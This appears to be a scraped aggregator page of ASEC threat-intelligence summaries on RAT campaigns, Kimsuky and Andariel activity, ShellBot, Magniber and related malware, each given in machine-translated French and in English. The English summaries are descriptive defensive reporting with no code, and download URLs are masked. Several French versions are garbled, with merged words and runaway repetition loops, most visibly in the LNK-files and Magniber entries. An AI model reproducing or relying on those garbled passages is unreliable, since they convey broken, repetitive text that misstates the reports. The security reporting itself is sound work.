Remcos RAT Being Distributed via Webhards (lien direct)		 tout en surveillant les sources de distribution de logiciels malveillants en Corée du Sud, Ahnlab Security Intelligence Center (ASEC) a récemment découvert queLe malware Remcos Rat déguisé en jeux pour adultes est distribué via des webards.Les webards et les torrents sont des plateformes couramment utilisées pour la distribution des logiciels malveillants en Corée.Les attaquants utilisent normalement des logiciels malveillants facilement disponibles tels que NJRAT et UDP RAT, et les déguisent en programmes légitimes tels que des jeux ou du contenu pour adultes pour la distribution.Des cas similaires ont été introduits dans les blogs ASEC précédents ...
While monitoring the distribution sources of malware in South Korea, AhnLab SEcurity intelligence Center (ASEC) recently found that the Remcos RAT malware disguised as adult games is being distributed via webhards. Webhards and torrents are platforms commonly used for the distribution of malware in Korea. Attackers normally use easily obtainable malware such as njRAT and UDP RAT, and disguise them as legitimate programs such as games or adult content for distribution. Similar cases were introduced in the previous ASEC blogs... 		Malware ★★
Blog.webp 2024-01-02 23:46:43 Détection de la reconnaissance interne dans les environnements de domaine en utilisant EDR
Detection of Internal Reconnaissance in Domain Environments Using EDR (lien direct)		 Alors que les acteurs de la menace peuvent augmenter les bénéfices en installant des co -miners ouUn logiciel malveillant de porte dérobée ou de rat pour prendre le contrôle du système infecté.Les infostelleurs sont utilisés dans le but de voler des informations sur les utilisateurs dans le système, mais parfois, ils sont utilisés pour obtenir des données qui peuvent être utilisées pour prendre le contrôle du système cible afin d'installer finalement des co -miners ou des ransomwares.Cela peut ne pas être important si l'attaque cible ...
While threat actors can raise a profit by installing CoinMiners or ransomware strains after initial access, they often first install a backdoor or RAT malware to seize control over the infected system. Infostealers are used for the purpose of stealing user information in the system, but sometimes, they are used to obtain data that can be utilized in gaining control over the target system to ultimately install CoinMiners or ransomware. This may not be of significance if the attack target... 		Ransomware Malware Threat ★★★
Blog.webp 2023-12-26 01:30:39 Analyse des attaques qui installent des scanners sur les serveurs Linux SSH
Analysis of Attacks That Install Scanners on Linux SSH Servers (lien direct)		 Ahnlab Security Emergency Response Center (ASEC) analyse les campagnes d'attaque contre les serveurs Linux SSH mal gérés et partage les résultatsSur le blog ASEC.Avant d'installer des logiciels malveillants tels que DDOS Bot et Coinmin, les acteurs de la menace doivent obtenir des informations sur l'objectif d'attaque, à savoir l'adresse IP et les informations d'identification du compte SSH.La numérisation IP est effectuée à cet effet pour rechercher des serveurs avec le service SSH, ou le port 22 activé, après quoi une force brute ou une attaque de dictionnaire est ...
AhnLab Security Emergency response Center (ASEC) analyzes attack campaigns against poorly managed Linux SSH servers and shares the results on the ASEC Blog. Before installing malware such as DDoS bot and CoinMiner, the threat actors need to obtain information on the attack target, that is the IP address and SSH account credentials. IP scanning is performed for this purpose to look for servers with the SSH service, or port 22 activated, after which a brute force or dictionary attack is... 		Malware Threat ★★★
Blog.webp 2023-12-19 01:22:36 La vulnérabilité Apache ActiveMQ (CVE-2023-46604) étant en permanence exploitée dans les attaques
Apache ActiveMQ Vulnerability (CVE-2023-46604) Continuously Being Exploited in Attacks (lien direct)		 En novembre 2023, Ahnlab Security Emergency Response Center (ASEC) a publié un article de blog intitulé & # 8220;Circonstances du groupe Andariel exploitant une vulnérabilité Apache ActiveMQ (CVE-2023-46604) & # 8221;[1] qui a couvert les cas du groupe de menaces Andariel exploitant la vulnérabilité CVE-2023-46604 pour installer des logiciels malveillants.Ce message a non seulement couvert les cas d'attaque du groupe Andariel, mais aussi ceux de Hellokitty Ransomware, de Cobalt Strike et Metasploit Meterpreter.Depuis lors, la vulnérabilité Apache ActiveMQ (CVE-2023-46604) a continué à être exploitée par divers acteurs de menace.Ce ...
In November 2023, AhnLab Security Emergency response Center (ASEC) published a blog post titled “Circumstances of the Andariel Group Exploiting an Apache ActiveMQ Vulnerability (CVE-2023-46604)” [1] which covered cases of the Andariel threat group exploiting the CVE-2023-46604 vulnerability to install malware. This post not only covered attack cases of the Andariel group but also those of HelloKitty Ransomware, Cobalt Strike, and Metasploit Meterpreter. Since then, the Apache ActiveMQ vulnerability (CVE-2023-46604) has continued to be exploited by various threat actors. This... 		Ransomware Malware Vulnerability Threat ★★★
Blog.webp 2023-12-15 01:31:05 Systèmes infectés contrôlés par des outils d'administration à distance (détectés par EDR)
Infected Systems Controlled Through Remote Administration Tools (Detected by EDR) (lien direct)		 Les outils d'administration à distance sont des logiciels pour gérer et contrôler les terminaux dans des endroits distants.Les outils peuvent être utilisés comme solutions de travail à domicile dans des circonstances telles que la pandémie Covid-19 et dans le but de contrôler, de gérer et de réparer les appareils sans pilote à distance.Ces outils de télécommande utilisés à des fins légitimes sont appelés rat, ce qui signifie & # 8220; outils d'administration à distance. & # 8221;De plus, les types de logiciels malveillants de porte dérobée tels que Remcos Rat, NJRAT, Quasar Rat et Avemaria sont appelés chevaux de Troie à distance (rat) parce que ceux-ci le rendent également ...
Remote administration tools are software for managing and controlling terminals at remote locations. The tools can be used as work-at-home solutions in circumstances such as the COVID-19 pandemic and for the purpose of controlling, managing, and repairing unmanned devices remotely. Such remote control tools used for legitimate purposes are called RAT, meaning “Remote Administration Tools.” Additionally, backdoor malware types such as Remcos RAT, njRAT, Quasar RAT, and AveMaria are called Remote Access Trojans (RAT) because these also make it possible... 		Malware Tool ★★
Blog.webp 2023-12-11 07:35:53 Distribution des e-mails de phishing sous couvert de fuite de données personnelles (Konni)
Distribution of Phishing Email Under the Guise of Personal Data Leak (Konni) (lien direct)		 Ahnlab Security Emergency Response Center (ASEC) a récemment identifié la distribution d'un fichier exe malveillant déguisé en matière liée au matériel lié au matérielÀ une fuite de données personnelles, ciblant les utilisateurs individuels.Le comportement final de ce logiciel malveillant n'a pas pu être observé car le C2 a été fermé, mais le malware est une porte dérobée qui reçoit des commandes obscurcies de l'acteur de menace et les exécute au format XML.Lorsque le fichier EXE malveillant est exécuté, les fichiers de la section .data sont créés dans le% ProgramData% ...
AhnLab Security Emergency response Center (ASEC) recently identified the distribution of a malicious exe file disguised as material related to a personal data leak, targeting individual users. The final behavior of this malware could not be observed because the C2 was closed, but the malware is a backdoor that receives obfuscated commands from the threat actor and executes them in xml format. When the malicious exe file is executed, the files in the .data section are created into the %Programdata%... 		Malware Threat ★★★
Blog.webp 2023-12-08 05:05:57 Kimsuky Group utilise AutOIT pour créer des logiciels malveillants (RFTRAT, AMADEY)
Kimsuky Group Uses AutoIt to Create Malware (RftRAT, Amadey) (lien direct)		 Présentation de l'accès….2.1.Attaque de phishing de lance….2.2.LNK Malwareremote Control MALWWare….3.1.Xrat (chargeur)….3.2.Amadey….3.3.Derniers cas d'attaque …… ..3.3.1.Autoit Amadey …… .. 3.3.2.Rftratpost-infection….4.1.Keylogger….4.2.Infostaler….4.3.Other TypesConclusion 1. Overview The Kimsuky threat group, deemed to be supported by North Korea, has been active since 2013. At first, they attacked North Korea-related research institutes in South Korea before attacking a South Korean energy corporation in 2014. Cases ofLes attaques contre des pays autres que la Corée du Sud ont ...
OverviewInitial Access…. 2.1. Spear Phishing Attack…. 2.2. LNK MalwareRemote Control Malware…. 3.1. XRat (Loader)…. 3.2. Amadey…. 3.3. Latest Attack Cases…….. 3.3.1. AutoIt Amadey…….. 3.3.2. RftRATPost-infection…. 4.1. Keylogger…. 4.2. Infostealer…. 4.3. Other TypesConclusion 1. Overview The Kimsuky threat group, deemed to be supported by North Korea, has been active since 2013. At first, they attacked North Korea-related research institutes in South Korea before attacking a South Korean energy corporation in 2014. Cases of attacks against countries other than South Korea have... 		Malware Threat ★★
Blog.webp 2023-12-06 00:16:37 Asyncrat distribué via le script WSF
AsyncRAT Distributed via WSF Script (lien direct)		 L'équipe d'analyse du centre d'intervention d'urgence (ASEC) AHNLAB (ASEC) a précédemment publié sur l'asyncrat distribué via des fichiers avec leextension .chm.[1] Il a été récemment découvert que ce type de logiciel malveillant asyncrat est maintenant distribué au format de script WSF.Le fichier WSF s'est avéré être distribué dans un format de fichier compressé (.zip) via les URL contenues dans les e-mails.[Télécharger les URL] 1.https: //*****************.com.br/pay5baea1wp7.zip2.https: //**********.za.com/order_ed333c91f0fd.zip3.https: //*************.com/pay37846wp.zip4.https: //*****.****.co/ebills37890913.zip décompressant le premier fichier zip téléchargé donne un fichier avec une extension de fichier .wsf.Ce fichier se compose principalement de ...
The AhnLab Security Emergency response Center (ASEC) analysis team previously posted about AsyncRAT being distributed via files with the .chm extension. [1] It was recently discovered that this type of AsyncRAT malware is now being distributed in WSF script format. The WSF file was found to be distributed in a compressed file (.zip) format through URLs contained within emails. [Download URLs]1. https://*****************.com.br/Pay5baea1WP7.zip2. https://************.za.com/Order_ed333c91f0fd.zip3. https://*************.com/PAY37846wp.zip4. https://*****.****.co/eBills37890913.zip Decompressing the first downloaded zip file yields a file with a .wsf file extension. This file mostly consists of... 		Malware ★★★
Blog.webp 2023-11-29 23:36:38 Ventes d'informations personnelles utilisées comme appâts pour distribuer des logiciels malveillants
Personal Information Sales Used as Bait to Distribute Malware (lien direct)		 Ahnlab Security Emergency Response Center (ASEC) a découvert un cas de distribution de logiciels malveillants en utilisant les ventes d'informations personnelles comme appât.Ce cas d'attaque utilise une technique de piratage d'ingénierie sociale.L'ASEC vous fournit des circonstances récemment découvertes de distribution de logiciels malveillants à l'aide de techniques de piratage d'ingénierie sociale.La figure 1 montre le contenu du site Web utilisé par l'acteur de menace comme site de distribution, avec plusieurs fichiers.La plupart des fichiers contiennent des informations personnelles, et les noms de fichiers incluent des mots clés liés à l'investissement tels que & # 8216; Reading, & # 8217;& # 8216; Unfactted, & # 8217; ...
AhnLab Security Emergency response Center (ASEC) discovered a case of malware distribution using personal information sales as bait. This attack case employs a social engineering hacking technique. ASEC provides you with recently discovered circumstances of malware distribution using social engineering hacking techniques. Figure 1 shows the content of the website used by the threat actor as a distribution site, with multiple files. Most of the files contain personal information, and the file names include investment-related keywords such as ‘reading,’ ‘unlisted,’... 		Malware Threat ★★
Blog.webp 2023-11-20 06:31:18 Circonstances d'une attaque exploitant un programme de gestion des actifs (Andariel Group)
Circumstances of an Attack Exploiting an Asset Management Program (Andariel Group) (lien direct)		 L'équipe d'analyse ASEC a identifié les circonstances du groupe Andariel distribuant des logiciels malveillants via une attaque en utilisant une certaine gestion des actifsprogramme.Le groupe Andariel est connu pour être dans une relation coopérative avec ou une organisation filiale du groupe Lazare.Le groupe Andariel lance généralement des attaques de phishing de lance, d'arrosage ou de chaîne d'approvisionnement pour la pénétration initiale.Il existe également un cas où le groupe a exploité une solution de gestion centrale pendant le processus d'installation de logiciels malveillants.Récemment, le groupe Andariel ...
The ASEC analysis team identified the circumstances of the Andariel group distributing malware via an attack using a certain asset management program. The Andariel group is known to be in a cooperative relationship with or a subsidiary organization of the Lazarus group. The Andariel group usually launches spear phishing, watering hole, or supply chain attacks for initial penetration. There is also a case where the group exploited a central management solution during the malware installation process. Recently, the Andariel group... 		Malware Technical APT 38 APT 38 ★★★
Blog.webp 2023-11-14 22:42:05 AVERTISSEMENT LA DISTRIBUTION DE LA MALWORED IMÉSPURANT UNE ORGANISATION PUBLIQUE (LNK)
Warning Against Distribution of Malware Impersonating a Public Organization (LNK) (lien direct)		 Ahnlab Security Emergency Response Center (ASEC) a observé la distribution des dossiers de raccourci malveillant (* .lnk)une organisation publique.L'acteur de menace semble distribuer un fichier de script malveillant (HTML) déguisé en e-mail de sécurité en le joignant aux e-mails.Ceux-ci ciblent généralement les individus dans le domaine de la réunification coréenne et de la sécurité nationale.Notamment, ceux-ci étaient déguisés par des sujets de paiement honoraire pour les faire ressembler à des documents légitimes.La méthode de fonctionnement des logiciels malveillants et le format C2 sont similaires à ceux ...
AhnLab Security Emergency response Center (ASEC) observed the distribution of malicious shortcut (*.lnk) files impersonating a public organization. The threat actor seems to be distributing a malicious script (HTML) file disguised as a security email by attaching it to emails. These usually target individuals in the field of Korean reunification and national security. Notably, these were disguised with topics of honorarium payment to make them seem like legitimate documents. The malware’s operation method and C2 format are similar to those... 		Malware Threat ★★
Blog.webp 2023-11-14 00:52:29 Fichiers LNK distribués via des sites Web légitimes violés (détectés par EDR)
LNK Files Distributed Through Breached Legitimate Websites (Detected by EDR) (lien direct)		 Ahnlab Security Emergency Response Center (ASEC) a détecté les circonstances d'une souche malveillante distribuée par des sites Web légitimes violés en utilisant des sites Web légitimes en utilisant à l'aide en utilisant des sites Web légitimes viodés en utilisant en utilisant des sites Web légitimes en utilisant en utilisant des sites Web légitimes viodés en utilisant en utilisant des sites Web légitimes à l'aide d'une utilisation légitime en utilisant en utilisant en utilisant des sites Web légitimes viodés en utilisant en utilisant des sites Web légitimes à l'aide de WANGITEMDivers noms de fichiers, incitant les utilisateurs à les exécuter.Ce message présentera comment AHNLAB EDR analyse et détecte la méthode de distribution de logiciels malveillants à l'aide de fichiers LNK comme support, une méthode qui a été utilisée souvent ces derniers temps.Pomerium Project Related Inquiry Data.txt.lnkdata concernant la demande de modifications avant l'accord IRIS 2023.txt.lnksUyeon OH Statement Data.txt.lnkon Confirmation.txt.lnkdeep Brain Ai Interview Guide.txt.lnkrecruitment ...
AhnLab Security Emergency response Center (ASEC) detected circumstances of a malware strain being distributed through breached legitimate websites using various file names, prompting users to run them. This post will introduce how AhnLab EDR analyzes and detects the method of malware distribution using LNK files as the medium, a method that has been employed often in recent times. Pomerium Project Related Inquiry Data.txt.lnkData Regarding Application for Changes Before the 2023 Iris Agreement.txt.lnkSuyeon Oh Statement Data.txt.lnkOn Inquiry Confirmation.txt.lnkDeep Brain AI Interview Guide.txt.lnkRecruitment... 		Malware ★★
Blog.webp 2023-11-14 00:19:00 Ddostf ddos bot malware attaquant les serveurs mysql
Ddostf DDoS Bot Malware Attacking MySQL Servers (lien direct)		 The AhnLab Security Emergency response Center’s (ASEC) analysis team is constantly monitoring malware distributed toServeurs de base de données vulnérables.MySQL Server est l'un des principaux serveurs de base de données qui fournit la fonctionnalité de la gestion de grandes quantités de données dans un environnement d'entreprise ou d'utilisateur.En règle générale, dans les environnements Windows, MS-SQL est principalement installé pour les services de base de données, tandis que dans les environnements Linux, des services de base de données comme MySQL et PostgreSQL sont utilisés.Cependant, bien que ce ne soit pas aussi souvent que les serveurs MS-SQL, il y a des cas où les serveurs MySQL ...
The AhnLab Security Emergency response Center’s (ASEC) analysis team is constantly monitoring malware distributed to vulnerable database servers. MySQL server is one of the main database servers that provides the feature of managing large amounts of data in a corporate or user environment. Typically, in Windows environments, MS-SQL is primarily installed for database services, while in Linux environments, database services like MySQL and PostgreSQL are used. However, although not as frequently as MS-SQL servers, there are instances where MySQL servers... 		Malware ★★
Blog.webp 2023-11-08 05:55:29 [Kimsuky] Opération SCOVER STALKER
[Kimsuky] Operation Covert Stalker (lien direct)		 Le 3 mai 2022, Ahnlab a publié une analyse sur le blog ASEC sous le titre & # 8220;Distribution du fichier de mots malveillant lié à la Corée du Nord & # 8217; s défilé militaire du 25 avril & # 8221;.[+] Analyse des logiciels malveillants déguisés avec un contenu de défilé militaire: https://asec.ahnlab.com/en/33936/ Ce rapport est basé sur 17 mois de suivi et d'analyse des activités de piratage de Kimsuky Group & # 8217;, gestion, envoyer des e-mails de piratage, distribution de logiciels malveillants, etc.) qui partagent des modèles similaires avec les principales caractéristiques (c2, shells web, etc.) expliqués dans l'analyse ci-dessus ....
On May 3rd, 2022, AhnLab posted an analysis on the ASEC blog under the title “Distribution of Malicious Word File Related to North Korea’s April 25th Military Parade”. [+] Analysis of Malware Disguised with Military Parade Content: https://asec.ahnlab.com/en/33936/ This report is based on 17 months of tracking and analysis of the Kimsuky group’s hacking activities (C2 operations, management, sending hacking emails, distributing malware, etc.) that share similar patterns with the major characteristics (C2, web shells, etc.) explained in the analysis above.... 		Malware ★★
Blog.webp 2023-11-01 01:45:57 Avertissement contre les documents HWP intégrés avec des objets OLE malveillants
Warning Against HWP Documents Embedded with Malicious OLE Objects (lien direct)		 Ahnlab Security Emergency Response Center (ASEC) a trouvé des documents HWP qui étaient intégrés à des objets OLE, ciblant les individus dansdes secteurs spécifiques tels que la défense nationale et la presse.Le malware est présumé être distribué principalement via des URL de téléchargement ou des pièces jointes dans les e-mails.Les noms de dossiers des documents distribués sont pertinents pour les domaines de la défense nationale, de l'unification, de l'éducation et de la radiodiffusion, ce qui suggère que le malware cible les professionnels impliqués dans ces domaines.Les documents HWP analysés dans ce post en grande partie ...
AhnLab Security Emergency response Center (ASEC) found HWP documents that were embedded with OLE objects, targeting individuals in specific sectors such as the national defense and the press. The malware is presumed to be distributed mainly through download URLs or attachments in emails. The file names of the distributed documents are relevant to the areas of national defense, unification, education, and broadcasting, suggesting that the malware targets professionals involved in these areas. The HWP documents analyzed in this post largely... 		Malware Threat ★★★
Blog.webp 2023-10-30 04:58:37 Distribution du rat Remcos déguisé en glissade
Distribution of Remcos RAT Disguised as Payslip (lien direct)		 Ahnlab Security Emergency Response Center (ASEC) a découvert que les circonstances des logiciels malveillants à distance des remcos en cours de distribution par le biais d'une-mail déguisé en glissade.Comme le montre la figure 1, le rat Remcos identifié a été distribué sous un sujet par e-mail qui se lisait & # 8216; Il s'agit d'un document de confirmation pour votre transfert de paiement & # 8217;, tromper les lecteurs.Le fichier de cabine comprimé joint contient un fichier EXE (REMCOS RAT) déguisé avec une icône de fichier PDF comme illustré à la figure 2. Figure 1. Figure de messagerie de phishing ...
AhnLab Security Emergency response Center (ASEC) has discovered circumstances of the Remcos remote control malware being distributed through an email disguised as a payslip. As shown in Figure 1, the identified Remcos RAT was distributed under an email subject that read ‘This is a confirmation document for your payment transfer’, deceiving the readers. The attached compressed cab file contains an EXE file (Remcos RAT) disguised with a PDF file icon as shown in Figure 2. Figure 1. Phishing email Figure... 		Malware ★★
Blog.webp 2023-10-23 02:21:45 2023 août & # 8211;Rapport de tendance des menaces sur le groupe Kimsuky
2023 Aug – Threat Trend Report on Kimsuky Group (lien direct)		 Les activités de Kimsuky Group & # 8217;Les activités d'autres types étaient relativement faibles.De plus, des échantillons de phishing ont été trouvés dans l'infrastructure connue pour la distribution de logiciels malveillants antérieurs (fleurs, randomquery et appleseed), et des échantillons de babyshark ont été découverts dans l'infrastructure RandomQuery.Cela suggère la probabilité de plusieurs types de logiciels malveillants en utilisant une seule infrastructure.Rapport de tendance AUG_TRÉTÉE sur le groupe Kimsuk
The Kimsuky group’s activities in August 2023 showed a notable surge in the BabyShark type, while the activities of other types were relatively low. Also, phishing samples were found in the infrastructure known for distributing previous malware (FlowerPower, RandomQuery, and AppleSeed), and BabyShark samples were discovered in the RandomQuery infrastructure. This suggests the likelihood of multiple types of malware utilizing a single infrastructure. Aug_Threat Trend Report on Kimsuky Group 		Malware Threat Prediction APT 43 ★★★
Blog.webp 2023-10-18 05:55:43 Où est parti le logiciel malveillant du document MS Office?
Where Has the MS Office Document Malware Gone? (lien direct)		 InfostEllers, qui volent les informations d'identification du compte utilisateur enregistrées dans les navigateurs Web ou les clients de messagerie, constituent la majorité des attaques ciblées ciblant les ciblage des attaquesutilisateurs généraux ou d'entreprise.Les informations connexes ont été partagées via le blog ASEC en décembre de l'année dernière.[1] Bien que la méthode de distribution des logiciels malveillants nommés diffère légèrement en fonction de leurs principales caractéristiques, les logiciels malveillants de type infoséaler utilisent généralement des sites malveillants déguisés en pages pour télécharger des programmes légitimes comme voie de distribution.Ils sont également activement distribués via des pièces jointes de spam ou MS ...
Infostealers, which steal user account credentials saved in web browsers or email clients, constitute the majority of attacks targeting general or corporate users. Related information was shared through the ASEC Blog in December of last year. [1] While the distribution method for the named malware differs slightly depending on their main features, Infostealer-type malware typically uses malicious sites disguised as pages for downloading legitimate programs as their distribution route. They are also actively distributed through spam email attachments or MS... 		Spam Malware ★★★
Blog.webp 2023-10-12 00:53:07 Shellbot DDOS malware installé via des adresses de notation hexadécimale
ShellBot DDoS Malware Installed Through Hexadecimal Notation Addresses (lien direct)		 Ahnlab Security Emergency Response Center (ASEC) a récemment découvert un changement dans la méthode de distribution du shellbot malveillant malveillant les logiciels malveillants shellbot malveillants (ASEC), qui est installé sur des serveurs Linux SSH mal gérés.Le flux global reste le même, mais l'URL de téléchargement utilisé par l'acteur de menace pour installer Shellbot est passé d'une adresse IP ordinaire à une valeur hexadécimale.1. cas passé d'évasion de détection d'URL.format, avec des acteurs de menace utilisant des adresses ...
AhnLab Security Emergency response Center (ASEC) has recently discovered a change in the distribution method of the ShellBot malware, which is being installed on poorly managed Linux SSH servers. The overall flow remains the same, but the download URL used by the threat actor to install ShellBot has changed from a regular IP address to a hexadecimal value. 1. Past Case of URL Detection Evasion Typically, IP addresses are used in the “dot-decimal notation” format, with threat actors using addresses... 		Malware Threat ★★★
Blog.webp 2023-10-11 00:13:32 Distribution des arrêts de ransomware de magnéte (depuis le 25 août)
Distribution of Magniber Ransomware Stops (Since August 25th) (lien direct)		 Grâce à un processus de surveillance continu, le centre d'intervention d'urgence de sécurité Ahnlab (ASEC) répond rapidement à Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magniber, le Magnibre, le Magnibre, le Magniber, le Magnibre, le Magnibre, le Magnibre, le Magnibre, le Magnibre, le Magniber, le Magnibre, le Magniber, le Magnibre, le Magnibre, le Magniber, le MAGNIGHLes logiciels malveillants principaux qui sont activement distribués à l'aide de la méthode de typosquat qui abuse des fautes de frappe dans des adresses de domaine.Après que les règles de blocage de la technique d'injection utilisée par Magnber ont été distribuées, l'ASEC a publié un article sur les informations pertinentes le 10 août.Par la suite, le nombre de cas a diminué à mesure que le créateur de magnétique a effectué divers tests de dérivation de détection et, au 25 août, le ...
Through a continuous monitoring process, AhnLab Security Emergency response Center (ASEC) is swiftly responding to Magniber, the main malware that is actively being distributed using the typosquatting method which abuses typos in domain addresses. After the blocking rules of the injection technique used by Magniber were distributed, ASEC published a post about the relevant information on August 10th. Subsequently, the number of cases diminished as the creator of Magniber conducted various detection bypass tests, and as of August 25th, the... 		Ransomware Malware ★★
Blog.webp 2023-10-10 04:42:35 Infostaler avec un certificat anormal en cours de distribution
Infostealer with Abnormal Certificate Being Distributed (lien direct)		 Récemment, il y a eu un taux de distribution élevé de logiciels malveillants en utilisant des certificats anormaux.Les logiciels malveillants se déguisent souvent avec des certificats normaux.Cependant, dans ce cas, les logiciels malveillants ont saisi les informations de certificat au hasard, le nom du sujet et les champs de noms émetteur ayant des chaînes inhabituellement longues.En conséquence, les informations sur le certificat ne sont pas visibles dans les systèmes d'exploitation Windows, et un outil ou une infrastructure spécifique est nécessaire pour inspecter la structure de ces certificats.Bien sûr, ces certificats échouent en vérification de signature depuis ...
Recently, there has been a high distribution rate of malware using abnormal certificates. Malware often disguise themselves with normal certificates. However, in this case, the malware entered the certificate information randomly, with the Subject Name and Issuer Name fields having unusually long strings. As a result, the certificate information is not visible in Windows operating systems, and a specific tool or infrastructure is required to inspect the structure of these certificates. Of course, these certificates fail in signature verification since... 		Malware Tool ★★★
Blog.webp 2023-09-21 07:33:23 Hiddengh0st malware attaquant les serveurs MS-SQL
HiddenGh0st Malware Attacking MS-SQL Servers (lien direct)		 gh0st rat est un logiciel malveillant à distance développé par l'équipe de sécurité de C. Rufus de Chine.Étant donné que son code source est accessible au public, les développeurs de logiciels malveillants l'utilisent comme référence alors qu'ils continuent de développer de nombreuses variantes qui sont encore activement utilisées dans les attaques.Bien que le code source soit public, GH0st Rat est principalement utilisé par les acteurs de la menace basés en Chine.Des cas de rat GH0Stcringe, une variante de rat GH0ST, étant distribués, des serveurs de base de données de ciblage (MS-SQL, serveurs MySQL) ont été divulgués ...
Gh0st RAT is a remote control malware developed by the C. Rufus Security Team from China. Due to its source code being publicly available, malware developers use it as a reference as they continue developing numerous variants that are still actively used in attacks. Although the source code is public, Gh0st RAT is mainly used by threat actors based in China. Cases of Gh0stCringe RAT, a variant of Gh0st RAT, being distributed targeting database servers (MS-SQL, MySQL servers) were disclosed... 		Malware Threat ★★
Last update at: 2024-05-12 14:07:59
See our sources.
My email:

To see everything: Our RSS (filtrered) Twitter